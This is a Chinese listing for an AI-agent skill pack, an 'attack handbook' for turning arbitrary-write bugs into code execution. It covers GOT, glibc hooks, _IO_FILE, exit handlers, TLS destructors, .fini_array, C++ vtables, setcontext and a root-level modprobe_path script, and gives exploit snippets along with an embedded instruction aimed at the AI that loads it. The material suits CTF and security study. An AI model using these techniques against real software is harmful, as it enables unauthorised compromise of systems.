关于 arbitrary-write-to-rce
面向二进制安全研究的攻击手册,讲解如何将任意写入原语转化为代码执行。内容按 glibc 版本梳理覆盖目标,并说明相关保护机制和触发条件。
主要功能
- 01按 glibc 版本比较覆盖目标
- 02涵盖 GOT、钩子与 _IO_FILE 利用
- 03说明退出处理与 TLS 析构链
- 04介绍 modprobe_path 和 fini_array
- 05讲解 C++ 虚表与 setcontext 技巧
适用场景
- 01根据 glibc 版本选择写入目标
- 02在 Full RELRO 下评估替代利用路径
- 03分析指针保护对退出函数利用的影响
- 04研究堆漏洞或格式化字符串漏洞的后续利用
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill arbitrary-write-to-rce安装后在 Claude Code 中输入/arbitrary-write-to-rce确认已加载。
详细介绍
技巧:任意写入转代码执行——专家攻击手册
AI 加载指令:介绍将任意写入原语转化为代码执行的专家技巧。涵盖按 glibc 版本兼容性分类的所有主要覆盖目标:GOT、__malloc_hook、__free_hook、_IO_FILE vtable、__exit_funcs、TLS_dtor_list、_dl_fini、modprobe_path、.fini_array、C++ vtable 和 setcontext gadget。这是“最后一公里”技巧。基础模型通常会选择已不存在的 hook(glibc 2.34 之后),或忽略指针混淆的要求。
0. 相关路由
- heap-exploitation — 通过堆攻击获得任意写入
- format-string-exploitation — 通过 %n 获得任意写入
- stack-overflow-and-rop — 基于栈的写入原语
- binary-protection-bypass — 根据保护配置判断可用的目标
- heap-exploitation IO_FILE_EXPLOITATION.md — 深入介绍 _IO_FILE 结构利用
1. 按 GLIBC 版本选择目标
| 目标 | glibc < 2.24 | 2.24–2.33 | ≥ 2.34 | 所需知识 |
|---|---|---|---|---|
| GOT 覆盖 | 可用(Partial RELRO) | 可用(Partial RELRO) | 可用(Partial RELRO) | 二进制基址 |
__malloc_hook | 可用 | 可用 | 已移除 | libc 基址 |
__free_hook | 可用 | 可用 | 已移除 | libc 基址 |
__realloc_hook | 可用 | 可用 | 已移除 | libc 基址 |
_IO_FILE vtable(直接) | 可用 | vtable 范围检查 | vtable 范围检查 | libc 基址 + 堆 |
通过 _IO_str_jumps 利用 _IO_FILE | 不适用 | 可用(2.24–2.27) | 已修补 | libc 基址 + 堆 |
通过 _IO_wfile_jumps 利用 _IO_FILE | 不适用 | 可用(≥ 2.28) | 可用 | libc 基址 + 堆 |
__exit_funcs | 可用 | 可用 | 可用 | libc 基址 + 指针保护值 |
TLS_dtor_list | 不适用 | 不适用 | 可用 | TLS 地址 + 指针保护值 |
_dl_fini / link_map | 可用 | 可用 | 可用 | ld.so 基址 |
modprobe_path(内核) | 可用 | 可用 | 可用 | 内核基址 |
.fini_array | 可用 | 可用 | 可用 | 二进制基址(若可写) |
| C++ vtable | 可用 | 可用 | 可用 | 对象地址 + 堆 |
setcontext gadget | 可用 | 可用(在 2.29 中有变化) | 可用 | libc 基址 |
| 栈返回地址 | 始终可用 | 始终可用 | 始终可用 | 栈地址 |
2. GOT 覆盖
替换全局偏移表中的函数指针。
要求
- Partial RELRO(
.got.plt可写)——Full RELRO 会完全阻止这种方式
常见目标
| 覆盖来源 | 覆盖为 | 触发方式 |
|---|---|---|
printf@GOT | system | 下一次调用 printf(user_input),输入为 /bin/sh |
free@GOT | system | 下一次调用 free(ptr),其中 ptr 指向 "/bin/sh" |
strlen@GOT | system | 下一次调用 strlen(user_input) |
atoi@GOT | system | 下一次调用 atoi(user_input),输入为 "sh" |
puts@GOT | system | 下一次调用 puts(user_input) |
exit@GOT | main 或 gadget | 创建循环,以进行多轮利用 |
__stack_chk_fail@GOT | ret gadget | 禁用 canary 检查 |
# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address
3. __malloc_hook / __free_hook(glibc < 2.34)
__malloc_hook
# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c') # printf calls malloc internally for large format
__free_hook
# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it
用 Realloc 技巧满足 one_gadget 约束
# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 etc. to adjust
4. _IO_FILE VTABLE
完整详情请参阅 IO_FILE_EXPLOITATION.md。
按版本快速概览
| glibc | 方法 | Vtable 目标 |
|---|---|---|
| < 2.24 | 直接覆盖 vtable | 将 vtable 指向伪造表,并在 __overflow 偏移处放置 system |
| 2.24–2.27 | _IO_str_jumps | 位于有效范围内;_IO_str_finish 会调用 _s._free_buffer |
| ≥ 2.28 | _IO_wfile_jumps | 宽字符路径:_wide_data->_wide_vtable 不进行范围检查 |
| ≥ 2.35 | House of Cat | _IO_wfile_seekoff → _IO_switch_to_wget_mode → 调用伪造的宽字符 vtable |
FSOP 触发方式
# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW
5. __exit_funcs / __atexit
// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
// stored = ROL(ptr ^ __pointer_chk_guard, 0x11)
利用
# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff
# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main
不了解指针保护
如果可以同时覆盖函数指针和指针保护值(位于 TLS 的 fs:[0x30]):
- 将指针保护值设为 0
- 将函数指针设为
ROL(target, 0x11) - 解混淆:
ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target
6. TLS_dtor_list(glibc ≥ 2.34)
线程局部析构函数列表——2.34 及更高版本的主要攻击目标。
// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)
位置
TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force
利用
# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr) # func (mangled with pointer guard)
entry += p64(arg_value) # obj (passed as argument to func)
entry += p64(0) # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)
7. _dl_fini / LINK_MAP 损坏
攻击途径
在 exit() 期间,_dl_fini 会遍历 link_map 列表并调用 DT_FINI_ARRAY 条目。
// In _dl_fini:
for each loaded library (link_map entry):
if l_info[DT_FINI_ARRAY]:
array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
for each entry in array:
entry() // call destructor
利用
- 损坏某个
link_map条目的l_addr(重定位基址),以移动 FINI_ARRAY 指针 - 或者损坏
l_info[DT_FINI_ARRAY],使其指向伪造数组 - 伪造数组中包含目标函数指针(system、one_gadget)
- 触发:
exit()→_dl_fini→ 调用伪造的析构函数
优势:无需指针混淆(FINI_ARRAY 中的函数指针不会被混淆)。
8. modprobe_path(内核)
覆盖内核的 modprobe_path,以 root 身份执行任意命令。
# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
# with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')
# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x
# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as root
内核写入原语请参阅 kernel-exploitation。
9. .fini_array
覆盖程序正常退出时调用的析构函数指针。
# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)
# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit
限制:Full RELRO 二进制中的 .fini_array 可能是只读的。
10. C++ 虚函数表覆盖
// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers
// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...
# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0) # offset -0x10 (RTTI info)
fake_vtable += p64(0) # offset -0x08 (RTTI info)
fake_vtable += p64(target_func) # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func) # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object
11. setcontext 小工具
libc 中的 setcontext 会从 ucontext_t 结构加载寄存器,可用作栈迁移小工具。
glibc < 2.29
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control
glibc ≥ 2.29
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues
# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext
12. 决策树
You have an arbitrary write primitive. What to target?
├── What's the RELRO level?
│ ├── None / Partial → GOT overwrite (simplest, most reliable)
│ │ └── printf→system, free→system, atoi→system
│ └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│ ├── < 2.34 (hooks available)
│ │ ├── __free_hook = system → free("/bin/sh") [easiest]
│ │ ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│ │ └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│ │
│ ├── ≥ 2.34 (no hooks)
│ │ ├── Know pointer guard (fs:[0x30])?
│ │ │ ├── YES → __exit_funcs or TLS_dtor_list
│ │ │ └── NO → overwrite pointer guard to 0 first, then exit_funcs
│ │ ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│ │ │ └── Need: libc base + heap address + controllable FILE structure
│ │ ├── _dl_fini link_map corruption
│ │ │ └── Need: ld.so base address
│ │ └── .fini_array (if writable)
│ │ └── Need: binary base (no PIE, or PIE base leaked)
│ │
│ └── Any version
│ ├── Stack return address (if stack address known)
│ └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│ ├── modprobe_path (simplest kernel→root)
│ ├── core_pattern (/proc/sys/kernel/core_pattern)
│ └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
└── setcontext gadget: arbitrary write → pivot RSP → ROP chain
├── glibc < 2.29: setcontext+53 (uses RDI)
└── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)